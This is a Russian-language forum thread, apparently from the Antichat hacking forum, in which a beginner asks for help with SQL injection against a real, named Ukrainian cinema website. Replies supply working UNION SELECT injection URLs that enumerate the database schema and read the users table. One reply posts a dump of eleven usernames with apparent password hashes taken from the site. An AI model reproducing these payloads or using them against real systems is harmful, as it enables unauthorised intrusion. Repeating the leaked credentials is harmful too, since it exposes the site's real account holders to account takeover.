Форум АНТИЧАТ - Sql проклятый)

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)

- - Sql проклятый) (https://forum.antichat.xyz/showthread.php?t=50664)

Sql проклятый)

Прет Всем!)

Ребят я зараниее предупреждаю что я новичок в этом..так что не грубить, а понимать)

Так вот. Вчера один чел(тоже новичок) дал мне одну ссылку на скуль иньекцию...
вот

Цитата:

http://www.kino-ukraina.com.ua/news/?nid=-1'+union+select+1,2,3,database(),5,user()/*

ну мы начели капать что как ..хотели найти пассворд и т.д. .... так искали где то час или больше ) без результатно..потом я предложил такой способ

Цитата:

http://www.kino-ukraina.com.ua/news/?nid=-1'+UNION+SELECT+1,2,3,COLUMN_NAME,5,6+FROM+INFORMA TION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users'+LIMIT +1,1/*

поскольно у него выделенка:)) он быстрее подобрал)..
оказалось LIMIT 3,1 типо 3-ая колонка - pwd ..
но при вводе

Цитата:

http://www.kino-ukraina.com.ua/news/?nid=-1'+UNION+SELECT+1,2,3,pwd,5,6+From+users/*

выводится "getLink fatal error: Table 'kinosite.users' doesn't exist"

отсюда я понял что надо найти какую то замену типо ***.users в местно киносайт ( правдно я этот момент не до конца поянл почиму так :) )..ну начал подбирать таблицы своими руками :) в стиле

Цитата:

http://www.kino-ukraina.com.ua/news/?nid=-1'+UNION+SELECT+1,2,3,TABLE_NAME,5,6+FROM+INFORMAT ION_SCHEMA.TABLES+LIMIT+1,1/*

дошел до 39...и нашел там Users но по неизвестной мне причине при

Цитата:

http://www.kino-ukraina.com.ua/news/?nid=-1'+UNION+SELECT+1,2,3,pwd,5,6+From+Users.users/*

выводится ошибка

Цитата:

getLink fatal error: SELECT command denied to user 'site'@'localhost' for table 'users'

плз скажите в чем моя ошибка?( :(

На чтение users прав не хватает

не у теб одного такие проблемы пользуйся прогой для подбора таблиц Вот ссылка не нее и ман тоже там
https://forum.antichat.ru/thread40545-SQL+TOOLS.html

Цитата:

Сообщение от Kaimi

На чтение users прав не хватает

а что тада делать то?

выведи название таблици

http://www.kino-ukraina.com.ua/news/?nid=-1'+UNION+SELECT+1,2,3,concat_ws(0x3A,table_schema, TABLE_NAME),5,6+FROM+INFORMATION_SCHEMA.TABLES+LIM IT+39,1/*

*дополнение

http://www.kino-ukraina.com.ua/news/?nid=-1'+UNION+SELECT+1,2,3,pwd,5,6+From+cin.Users/*

Admin : 1B2M2Y8AsgTpgAmY7PhCfg==
test : tZxnvxlqR1gZHkL3ZnDOug==
tanyak : qbe6cHg7YX6ZmNxN2C6zxQ==
valia : +4dYKCX50oqNQsXl5eiyPQ==
oksana : Hk02F31xu7NVjkOvlXfXDg==
zhenya : 1ooYJ1RVrj6qLCke67RubQ==
oksanad:tZxnvxlqR1gZHkL3ZnDOug==
tanya:xN6M7WIUNFYU0z+wsWqKzQ==
valya:KsZ12HUk/jfWDkhq9WV0Tg==
luda:+AvwVScVeowqe7Y7IvSaqg==
angela:3nOZiAJoBUi5FvGUf/utdg==

http://www.kino-ukraina.com.ua/news/?nid=-1'+UNION+SELECT+1,2,3,count(*),5,6+From+cin.Users/*

Вообщем их там 19 человек

спс попробую

только не пойму

Цитата:

cin:Users

во такой вывод а что такое "cin" ? что такое вообще table_schema ?

ооо прикольно СПС огромное!

Можно проще без лимита

Код:

http://www.kino-ukraina.com.ua/news/?nid=-1'+UNION+SELECT+1,2,3,table_schema,5,6+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME='users'/*

cin.users

Цитата:

о такой вывод а что такое "cin" ? что такое вообще table_schema ?

Это имя базы данных(schema), в СУБД может быть несколько разных БД с разными таблицами.
Читай здесь https://forum.antichat.ru/showpost.php?p=442627&postcount=26

дак я выше написал уже как вывести пользователей да ипользователей вывел =))) их там 19 штук))